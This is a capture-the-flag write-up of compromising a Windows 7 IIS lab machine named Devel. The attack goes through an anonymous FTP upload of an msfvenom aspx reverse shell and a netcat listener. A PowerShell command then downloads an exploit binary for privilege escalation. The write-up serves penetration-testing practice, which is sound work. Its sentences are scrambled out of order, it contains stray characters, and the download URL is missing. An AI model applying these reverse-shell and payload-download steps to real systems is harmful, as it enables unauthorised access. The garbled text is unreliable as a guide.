![]() Overall this box was challenging, I cold have done it with Metasploit, but I’m trying to get better without using Metasploit.Normally, a process is allocated a certain amount of memory which contains all of the necessary information it requires to run, such as the code itself and any DLLs, which isn’t shared with other processes. ![]() ![]() I recommend either patching Windows 7 Enterprise or upgrading to the modern version of Windows and service for Windows 7 is now depricated. Powershell -c “(new-object ).DownloadFile(‘ ’, ‘c:\Users\Public\Downloads\40564.exe’)”įTP Should have an open login like anonymous.Īnyone like I just did can upload a Web shell and exploit the system. Wget and curl are not installed on the machine however powershell is. I then needed to transfer the C code from the attacker to the victim. The next step is to download and compile the exploit on the attack machine. Windows Priviliege escalation is my weakest area Key information : Windows 7 | Host name Devel | OS name Windows 7 Enterprise | | Hotfix N/A For this, I saved the output of systeminfo to a text file. Windows Exploit Suggester is a tool which checks if public exploits are available for a specific machine. The next goal is to escalate my privileges. In the listener we can see, that we have a shell running as iis apppool\web. Now go to the website: and have netcat setup and readyĪs soon as we visit the malicious URL 10.10.10.5/test.aspx the exploitation process starts. Upload this file as mentioned above to the FTP root directory. ![]() I have created the backdoor executable binary. The listening host is the attacking machine (ip address |grep tun) and the port is the one we will listen on. The staged version will not work with the netcat listener. With this, I have the option to get a shell with a basic netcat listener. In our case we use the non-meterpreter unstaged reverse shell payload windows/shell_reverse_tcp to generate the aspx payload. Make sure to understand the difference between staged and unstaged payloads. For example, select windows/meterpreter/reverse_tcp only if you use the Metasploit. For a clear understanding make sure to understand the various reverse shells available and to choose the right one. We can use msfvenom to create our custom payload for the exploit. I learned that I can upload a web shell or reverse shell which help me get access into the site Port 21 is open and “Anonymous FTP login is allowed”: ![]()
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January 2023
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